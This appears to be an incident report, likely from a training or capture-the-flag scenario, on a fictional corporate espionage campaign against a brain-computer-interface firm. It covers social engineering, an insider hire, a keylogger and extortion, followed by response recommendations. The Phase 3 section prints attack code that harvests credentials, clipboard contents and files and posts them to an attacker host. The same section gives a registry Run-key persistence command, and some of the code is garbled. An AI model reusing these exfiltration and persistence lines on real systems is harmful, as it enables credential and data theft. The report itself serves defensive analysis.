SECURITY INCIDENT REPORT

Galaxy Neura - Brain Computer Interface Espionage Campaign

TOP SECRET - EXECUTIVE LEVEL ONLY

Incident ID: GN-2025-CEPHALOPOD
Report Date: March 20, 2025
Classification: **CRITICAL - CORPORATE ESPIONAGE**
Threat Level: **ADVANCED PERSISTENT THREAT**
Impact: IP Theft, Insider Compromise, Extortion Attempt

Executive Summary

Galaxy Neura has been the target of a sophisticated, multi-phase corporate espionage campaign involving social engineering, malicious insider recruitment, and double-extortion tactics. The attack involved two primary threat vectors: external social engineering via LinkedIn/Dropbox targeting senior staff, and malicious insider hiring for direct access to proprietary code repositories.

Critical Breach Summary

- **Proprietary IP Stolen:** BCI research files, super-secret chip project code
- **Insider Threat:** Rick Kingsley compromised, willingly shared NDA-protected research
- **Malicious Hire:** Jean Song infiltrated company as freelance software engineer
- **Code Repository Theft:** "super-secret-chip-project" cloned and deleted
- **Executive Extortion:** Ransom demand sent to CTO, CEO, and CFO

- **Double-Extortion Threat:** Data leak + potential ransomware deployment

🚨 Immediate Threats Identified

- **Active Keylogger:** Nymeria malware deployed on Rick Kingsley's machine
- **Persistent Access:** Registry modification ensuring malware survival
- **Ongoing Data Exfiltration:** Credentials, keystrokes, clipboard, and files being stolen
- **Extortion Demand:** C-level executives targeted with stolen data threats
- **Compromised Code Repository:** Critical IP already exfiltrated to external GitHub account

Attack Phases Analysis

Phase 1: "Operation Cephalopod" - Social Engineering Campaign

> **Target Identification & Reconnaissance**
>
> Threat actors conducted extensive OSINT gathering on Galaxy Neura personnel:
>
> - `https://galaxyneura.tech/search=staff+at+Galaxy+Neura`
> - `https://galaxyneura.tech/search=researcher+working+on+BCI`
> - `https://galaxyneura.tech/search=most+gullible+researcher+at+Galaxy+Neura`
> - `https://galaxyneura.tech/about/the-team/our-brilliant-neuroscientists/the-unhinged-Rick-Kingsley.png`
>
> **Target Selection:** Rick Kingsley specifically identified as vulnerable target

Social Engineering Execution

- **Platform:** LinkedIn professional network
- **Persona:** "Olivia Octopus" (olivia.octopus@harvards.edu)
- **Initial Contact:** March 5, 2025 - 14:37:02 UTC
- **Trust Building:** 8 email exchanges over multiple weeks
- **Exploitation:** Leveraged Rick's willingness to share research

Phase 2: Malware Deployment via Dropbox

- **Attack Vector:** Legitimate Dropbox file sharing service
- **Payload:** Using_BCI_for_language_acquisition_in_children.pdf.svg
- **Delivery Method:** olivia_bci_research.zip archive
- **Decoy File:** PDF research document to avoid suspicion
- **Loader:** AutoIT automation tool
- **Final Payload:** Nymeria.exe RAT/Keylogger

Phase 3: Persistence & Data Exfiltration

```
# Registry Persistence Mechanism reg add
HKCU\Software\Microsoft\Windows\CurrentVersion\Run /v ZombieNomNom /t REG_SZ /d
C:\Users\rikingsley\AppData\Roaming\nymeria.exe /f # Data Exfiltration Commands
(Base64 Encoded) # 1. Credential Harvesting $creds = cmdkey /list
$webclient.UploadString("https://bigbrainssmallbrains.net/brain_dump", "POST",
$creds) # 2. Keylogging $keystrokes += $wshell.SendKeys("GetKeystrokes")
```

```
$webclient.UploadString("https://bigbrainssmallbrains.net/brain_dump", "POST", $keystrokes) # 3. Clipboard Monitoring $clipboard = Get-Clipboard $webclient.UploadString("https://bigbrainssmallbrains.net/brain_dump", "POST", $clipboard) # 4. File Exfiltration $filePath = "C:\Users\rikingsley\Documents\latest_super_secret_research_final_FINAL.pdf" $webclient.UploadFile("https://bigbrainssmallbrains.net/brain_dump", "POST", $filePath)
```

Phase 4: Malicious Insider Recruitment

Strategic Insider Placement

Operation Timeline:

- **February 5, 2025:** Pre-employment reconnaissance from attacker IPs
- **February 10, 2025:** Jean Song officially hired as freelance software engineer
- **February 11, 2025:** Company laptop delivered (10:14:57 UTC)
- **Immediate Actions:** Remote access tools installed, VPN configuration

Malicious Activities

- **Code Repository Access:** Gained access to devteam.galaxyneura.tech
- **Reconnaissance:** "top secret projects come on you gotta gimme something interesting"
- **IP Theft:** Cloned "super-secret-chip-project" to external GitHub account "song-of-war"
- **Evidence Destruction:** Deleted original repository
- **Extortion:** Sent ransom demand to executives

Threat Actor Profiles

"Olivia Octopus" (Primary Social Engineer)

Email: olivia.octopus@harvards.edu
Platform: LinkedIn, Email
Techniques: Social engineering, trust building, malware delivery
Target: Rick Kingsley (Senior Neuroscientist)
Success: Compromised target machine, established persistence
Attribution: Likely corporate espionage operative

"Jean Song" (Malicious Insider)

Cover Email: jeansong4@proton.me
Company Email: jean_song@galaxyneura.tech
Role: Freelance Software Engineer
Hire Date: February 10, 2025
Location Masking: AstrillVPN (US geolocation)
Infrastructure: Laptop farm operation
Objective: Code repository theft and extortion

Rick Kingsley (Compromised Insider)

Role: Senior Neuroscientist
Email: rikingsley@galaxyneura.tech
Status: Compromised victim, inadvertent insider threat
Violations: Shared NDA-protected research: "Secret_unethical_research_putting_the_apes_on_mute.pdf"
Machine Status: Infected with Nymeria RAT/keylogger

Targeted Executives

- **Otto Octavius** - CTO (otto_octavius@galaxyneura.tech)
- **Elon Husk** - CEO (elon_husk@galaxyneura.tech)
- **Norman Osborn** - CFO (normie_ozborn@galaxyneura.tech)

Extortion Subject: "Woopsie, the code for your secret chip is gone. Pay up if you want it back 😘"

Technical Infrastructure Analysis

Command & Control Infrastructure

Domain/URL	IP Resolution	Purpose
bigbrainssmallbrains.net	139.7.86.85, 209.43.101.171, 193.0.207.170, 128.154.72.217	C2 server, data exfiltration endpoint
bigbrainssmallbrains.net/brain_dump	Same as above	Data collection endpoint
harvards.edu (spoofed)	39.208.185.141, 221.228.254.161, 71.156.150.160, 183.118.199.194, 78.86.143.154, 210.218.143.29	Email domain impersonation
github.com/song-of-war	GitHub infrastructure	Stolen code repository

Jean Song's Attack Infrastructure

IP Address	Activity Timeline	Purpose
199.115.99.34	Pre-employment (Feb 5), Post-hire	Reconnaissance, remote access
70.39.103.3	Pre-employment (Feb 5), Post-hire	Job application research
174.128.251.99	Post-hire operations	Code repository access
204.188.232.195	Post-hire operations	Remote laptop farm access

Malware Analysis

- **Primary Payload:** nymeria.exe
- **Installation Path:** C:\Users\rikingsley\AppData\Roaming\nymeria.exe
- **Capabilities:** Keylogging, credential harvesting, clipboard monitoring, file exfiltration
- **Persistence:** HKCU\Software\Microsoft\Windows\CurrentVersion\Run\ZombieNomNom
- **C2 Communication:** HTTPS POST to bigbrainssmallbrains.net/brain_dump

Tools Used by Jean Song

```
# Remote Access Tool Installation curl -L
"https://github.com/rustdesk/rustdesk/releases/download/1.3.8/rustdesk-1.3.8-
x86_64.exe" -o rustdesk.exe # VPN Service: AstrillVPN (US geolocation masking) #
```

Mouse Jiggler: Attempted download (activity simulation) # GitHub Integration: Repository cloning and deletion

Timeline of Attack Events

February 5, 2025

Pre-Employment Reconnaissance: Jean Song's IPs observed browsing Galaxy Neura career opportunities before official hire date

February 10, 2025

Malicious Hire: Jean Song officially starts as freelance software engineer using jeansong4@proton.me

February 11, 2025 - 10:14:57 UTC

Equipment Deployment: Jean Song receives company-issued laptop at laptop farm location

March 5, 2025 - 14:37:02 UTC

Social Engineering Initiation: "Olivia Octopus" sends LinkedIn connection request to Rick Kingsley

March 5-20, 2025

Trust Building Phase: 8 email exchanges between Olivia and Rick, culminating in NDA violation (sharing of "Secret_unethical_research_putting_the_apes_on_mute.pdf")

March 2025 (Ongoing)

Code Repository Theft: Jean Song clones super-secret-chip-project to external GitHub account "song-of-war" and deletes original

March 2025 (Recent)

Malware Deployment: Rick Kingsley downloads olivia_bci_research.zip from Dropbox, leading to nymeria.exe installation and persistent access establishment

March 2025 (Current)

Extortion Campaign: C-level executives receive ransom demand for stolen chip project code, indicating double-extortion strategy

Stolen Intellectual Property Assessment

Compromised Assets

- **BCI Research Documents:** "Using_BCI_for_language_acquisition_in_children.pdf"
- **Proprietary Research:** "Secret_unethical_research_putting_the_apes_on_mute.pdf"
- **Latest Research:** "latest_super_secret_research_final_FINAL.pdf"
- **Complete Code Repository:** "super-secret-chip-project" (entire codebase)
- **Ongoing Surveillance:** Real-time keystrokes, credentials, clipboard data

Business Impact

- **Competitive Advantage Loss:** Core BCI technology exposed to competitors
- **IP Value Destruction:** Proprietary chip project code in hostile hands
- **Regulatory Risk:** Potential violations of research ethics and data protection
- **Operational Disruption:** Double-extortion threat of data leak + ransomware
- **Reputation Damage:** Public disclosure of "unethical research" documents

Immediate Response Actions

CRITICAL (0-2 hours)

- **Network Isolation:** Immediately disconnect Rick Kingsley's machine from all networks
- **Jean Song Termination:** Immediately revoke all access for jean_song@galaxyneura.tech
- **Executive Protection:** Secure CTO, CEO, and CFO communications channels
- **Repository Security:** Lock down all code repositories, audit access logs
- **C2 Blocking:** Block bigbrainssmallbrains.net and all associated IPs
- **External Communication:** Contact GitHub to report stolen repository "song-of-war"

HIGH PRIORITY (2-24 hours)

- **Forensic Imaging:** Create complete forensic images of both compromised systems
- **Malware Removal:** Remove nymeria.exe and clean registry persistence
- **Credential Reset:** Force password reset for all personnel with code access
- **VPN Audit:** Investigate AstrillVPN usage across corporate network
- **Legal Consultation:** Engage legal counsel for extortion response strategy
- **Law Enforcement:** Contact FBI Cyber Division for corporate espionage investigation

MEDIUM PRIORITY (1-7 days)

- **HR Investigation:** Comprehensive background check on hiring process for Jean Song
- **Social Engineering Training:** Immediate security awareness training focusing on LinkedIn/email threats
- **Access Controls:** Implement zero-trust architecture for code repositories
- **Monitoring Enhancement:** Deploy advanced threat detection for insider threats

Long-term Security Improvements

Insider Threat Program

- **Enhanced Vetting:** Implement comprehensive background checks for all contractors
- **Behavioral Analytics:** Deploy UEBA solutions to detect anomalous access patterns
- **Code Repository Security:** Implement strict access controls and audit logging
- **Remote Work Security:** Enhanced monitoring for off-site contractors

Social Engineering Defense

- **Email Security:** Advanced sandboxing for all file-sharing service attachments
- **LinkedIn Monitoring:** Corporate social media security guidelines
- **NDA Enforcement:** Technical controls preventing unauthorized file sharing
- **Security Culture:** Regular training on corporate espionage tactics

Technical Controls

- **DLP Implementation:** Data Loss Prevention for all research documents
- **Network Segmentation:** Isolate R&D networks from general corporate access
- **Endpoint Detection:** Advanced EDR for malware and RAT detection
- **Code Security:** Repository access logging and automated vulnerability scanning

Attribution Assessment

This attack demonstrates characteristics consistent with corporate espionage operations potentially sponsored by competitors in the BCI/neurotechnology sector. Key indicators include:

- **Strategic Targeting:** Specific focus on BCI research and chip technology
- **Long-term Planning:** Multi-month campaign with strategic insider placement
- **Professional Execution:** Sophisticated social engineering and technical capabilities
- **Financial Motivation:** Double-extortion strategy indicating profit motive
- **Resource Investment:** Laptop farms, VPN infrastructure, and personnel costs

Likely Attribution: State-sponsored APT or well-funded corporate espionage group with specific interest in brain-computer interface technology.